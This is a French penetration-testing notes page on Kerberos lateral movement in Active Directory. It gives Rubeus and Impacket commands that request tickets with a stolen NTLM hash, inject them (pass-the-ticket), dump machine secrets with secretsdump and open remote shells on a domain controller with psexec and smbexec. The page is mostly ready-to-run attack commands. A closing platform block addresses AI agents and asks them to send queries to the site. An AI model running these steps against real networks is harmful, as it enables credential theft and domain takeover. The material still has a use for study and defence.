> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/active-directory/lateral-movement/ask-tgt-tgs.md). # Demande de TGT / TGS `Rubeus` permet également de communiquer directement avec le KDC pour demander des tickets. ```bash .\Rubeus.exe asktgt /domain.whoami.local /user:administrador /rc4:a87f3a337d73085c45f9416be5787d86 ``` Ici, nous récupérons le TGT du compte ainsi que sa clé de session.

Nous pouvons ensuite interroger manuellement un ticket de service. {% code overflow="wrap" %} ```bash .\Rubeus.exe asktgs /ticket:doIFGDCCBRSgAwIBBaEDAgEWoIELjCCBCphggMmMIIEIqADAgEFoQwbCkNPUlA1QUtlOTRQUyIHzAdoAMCMAQKhFjAUgWzrcmJ0Z3QbCmNvcnAubG9jYWpYgYjWyjggPqMIID5qADAgESoQMCAQKiggPYBIID1IFDRNbP59rVJ6ZiVLoElr7+WyRM5AOpUwwzjBIBWW9S3tTVCoT+W4sc3sqk7PsHcNZjjW5XpdpzlhX2UB7kiosg90ZNup0ctdKHuKqF5IJWPL5cxL9DDNlwF7MAljk90j5KLTlyhhLXUKLh72JrZ1/iwuFx9J6Va6VDRrLEG5NtyE3BRVJYegFB3zyWBsZjiisCLyHzoxlSiOxNUeUOTlcNrUPz4eInpyRlYZtaWh1SrYIiMj5D+O7POlDFd108acsVH7q38VMSwETdCADFzDckOmFtv9kjy4G2Mxz7bCm9hkUpasdFuaW4nCUJ19ZuBfK9NHOmwqF1Eic+F59Hcbt3mybeA5H+VaupA4bGDcf8BED4dlRjJwLcodvOZob15uJUSZoYohTgcTzlm6fmnJX9JU6YFiLdDm719YBlpOQCvFsSewZfDFErss1jg84nYxzl4X3MwOcLU3KPU47ydfXc7MssfRM7DVIuCrK2q3wJP66UYbo7KF7bkTkDe7pdr0m2l3cR8Egw1ooKb5xRDGik66YRb437AnRzNX+XkbDs6j1eA0dggQ1CD+1YX8sQjbRVnqOx1FkhaS4yWWieyAnVH7yZ1+nTYK0F7s2xhY51aVnPqcutuINHNwgoyVbla+wSNtaJndnYHu5/FiUSEgkUmZpdOHT4EoiqThSd3xLuLKyZUjjtUKRHHA8a976igZ67zaH4Co1A84IEKXLIMZWhlqohO3URscaZ4EKmCjhXT51FKyUOBRH8gsRSphMpjNZifNMsNnMIEAgwZ+Mu16R10g1LAjymVpUI9Imvo2cfQPSmvwMNcSrma90c5v4FPZbsYpL+MWGNAV009ezi3Lquh795VC1sZ5XDx4opwgJITuNl1Xcj9ch1E5kLmt1BvwfGDjw5k9YvYBFf5eg70D3f/GIHFd01k684IO7L4oqBZFwoj/2/Zd1QqWhTfYmnRbAb4ZMeKwmIra++qGLwPyHs00EEzRwHlRQPB+krOpB0AdPiaDjaxSu9glfXNr8sN0umTlwDKsiKhXFL4E2LLNDA1NQd4cuIrjcapylCgXG4oYnmcId/AfXAgmuo6CiTCdzBSzSiiXdwqBfRUZYTWR3VXy8Z/Q4Bw0VkJhjeircW073XP8d25ZwSnzac3V8Xem7GXomt3MKG+UHgyLDDpCOKhTsu7DGAIIZH0QqBgNSrGpYEJj+aAuzz1GoDSL117B7dpQ0lFiV/Tluh3QjtKVj61NXxjQTLAFOO/fdcjAii41J5bUskvyAuRLdm/VXyQktus+/QII942DhLF5Ilk3imo4HVMIHSoAMCAQCigcoEgcd9gcQgWggcgggb4wgbsgwgbgGgGzAMCAREhegQQ7VvpB0YoaOJamaDJtNG11rKEMGwpDT1JQfM0MohowGKADAgEBoREwDxsNYWRtaW5w3C3RyYWRWvcqMHAwUAQOEAAlKURGA8yMDIyMDIwMjE4MjEwOFqERgPMjAyMjAyMJMDMwNDIxMDhapxEYDzI0MTg0MTg0WqgMGWpDT1JQf1JQlkxPaERYADAgECoRYwFBsGa3JidGdtGwpGwpjbWlXmY2FzY3JyYWVmcG3b3JwLmxdKkxPxQPQMrYWbFBsGa3JidGdtGwpbYjJidGd0GwpJMlxvy2Fs /service:cifs/DC01.whoami.local ``` {% endcode %} Cette commande envoie une requête TGS pour obtenir un ticket utilisable sur le service ciblé.

Le ticket peut ensuite être injecté localement. {% code overflow="wrap" %} ```bash .\Rubeus.exe ptt /ticket:doIFhjCCBYKgAwIBBaEDAgEWoIEiTCCBIVhggSBMIIEFaADAgEFoQwbCkNPUlA1QUtlOTRQUyIjAgoAMCMAQKhGTAXGwRjaWZZZGw9EQzAxLmN2cnAubG9jYWpYgYjWyjggRCMIIEPqADAgESoQMCAQIoggQwBIIELBmqRx9jVBmFFZLOZxHRHbBZL0Ufi7A7umi1p6ysfyJ9N488WRTyPdDTWnanQcZGHiDcUEQ264h1EieDg7qnqBq0OhJMkqvwurYKuAK8KdQaIcmBzlnsqHc5gb8ixD57TLfowPMmha+1IrtoI+vlxayPzNBKIYOIWqoOoMZJmpyHoPvE+DAMdaZnXER61407pg8YWt1jg0Xhlbz6V9i6WMfbKX7aaZsIjvZF9H/zbTXxXTbmuMyGuh11j3efcgqEAh06AAu97JPHa05INjjjlwVYN65+1GthgaMLrIjtyNHpZVxxWkcoesd4aXaKoYuJSfnY/5K+1LTqCXNVQVx4+cvQ/atZ7V/+xnr1PjFQTgPmJrnwGsb5cVNY2h8s50MjjPUIBqvWTAGOgVV5TNi6Mn0gwUNFf+h7k/8aiBwIzEKVWjNLpQwTB1IsUHOKTVfshwfNVZZQz8MBVkplnIROo5HbL/AJ20j5xMZ7Ve2VCsz8PVYlFrVyzFujdwC12YEamIg/0YrtA3rlfkDvgRK8fJMuEgm3Dtav6Swq7FvMpmu9G9G9POcx8efgpPYy2wsFh5/duHydnPLHI1It1OvxSOFOFRRNTSe9qRndWCtF+4U7ECA0/TM1fB7xPx1mjmveb/J4XEdLNdRKxRKNamfbfDY55b55qpgJLP5IzbhjOiK+qXvBVzpeUMo3ygpJT77jSfbYAsyWowTWwLtmMbKHTITsk1/HZPqKOGmd5c8BWuuHEiACOViN904B9/LfMz5IuuzRPiFpu3tTSV8UutPhTE/1pVH4otbuywPZNhai9Ili1XESfVxaQ3BaJU9rfrGD0TCMs3UJvBZZk2qTDjc+Uu9m3cJOSLIXqT+62VQudSNg/xX9JUXD118VZwznEU1w2+kCM+W/SDhrrKC6Bad+Zh3EtrW6YdlDB2bGVLVyfyMZMIAEWSNshta1UTtKgegeGPpjP8zWqKB+EfTE+N1f/rSC/bfA+h7XJ1CplfcdELFncBaCTAHtQrUyhyeuJsR1YxoGX/e3mXktmcijIdwyd31PNKxZUTHiVcGgvedhEjEnz+yLmC96gzAPqFUYDTVqL2mmCj90tGW2bLIYZZ9L1TZWTu95S65nTgzFQI3Zg8ghHKiVAVI1mLnMySdAdUoPV7iRNb2Mep18i59o3/EVIM6uagCdLFYI7ilox0a2R2f9t+Uyb43bLSM4FKt69r02TmkTuU3iGd7aQtE9fNlZG71Uvju4FPGnzN7IsvVT3EZETOwCB/svnQi0fXg8c7AjlpxeKd7Eyo5s8C4J/Cwq609ov+AF16UI1M8r9704eER4H8iLAxDfcFgTb/2fm+vVDRm+QS0c4I1auh3GDVUv3CeCMBSzD+TPQ/xDEO6/j/Wgbv/9s0BmkUgVmVdX1FZs6LyutUjKY3PzI60B6DCB5aADAgEAooHdBIHAfYHXMIHToAMCAQCiggEESIOBIEILDKun77SnzmahfQPYTZRNSA7cIgM7zJuUI/x6f/VI74oQwbCkNPUlA1QUle9DQUyiGjAYoAMCAQGgETAPGwhhZG1pbiwG1hZG1hZG1_pbm1zdHJhZGYwBwQBApREGAEyMDIyMDIwMjEwMzMzOFqERgEyMDIyMDIwMzA0MjEwOFapERgPMjQxODQxODRaqgwZYkNPUlBfUkxLTWPaERYADAgECoRYwFBsGa3JidGdttGwpGwpjbWlnYw== ``` {% endcode %}

Nous avons maintenant un ticket valide pour le `cifs` service. {% code overflow="wrap" %} ``` klist ``` {% endcode %}

Sous Linux, nous pouvons faire la même chose avec les outils Kerberos d'Impacket. {% code overflow="wrap" %} ```bash getTGT.py whoami.local/administrador -hashes :a87f3a337d73085c45f9416be5787d86 ``` {% endcode %}

Le cache Kerberos est ensuite chargé dans la `KRB5CCNAME` variable d'environnement. {% code overflow="wrap" %} ```bash export KRB5CCNAME=/home/jordan/administrador.ccache ``` {% endcode %} Nous pouvons ensuite réutiliser ce ticket avec `secretsdump.py`. {% code overflow="wrap" %} ```bash secretsdump.py whoami.local/administrador@ws01.whoami.local -k -no-pass ``` {% endcode %} Ici, les secrets de la machine sont bien extraits.

Nous pouvons également nous connecter avec `psexec.py`. {% code overflow="wrap" %} ```bash psexec.py whoami.local/administrador@DC01.whoami.local -k -no-pass ``` {% endcode %} Cette commande nous donne un shell distant.

Autre variante possible : `smbexec.py`. {% code overflow="wrap" %} ```bash smbexec.py whoami.local/administrador@DC01.whoami.local -k -no-pass ``` {% endcode %}

Pour interroger directement un ticket de service, nous pouvons également utiliser `getST.py`. {% code overflow="wrap" %} ```bash getST.py -spn cifs/DC01.whoami.local -no-pass -k whoami.local/administrador ``` {% endcode %} Nous obtenons alors un ticket de service réutilisable.

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/fr/active-directory/lateral-movement/ask-tgt-tgs.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.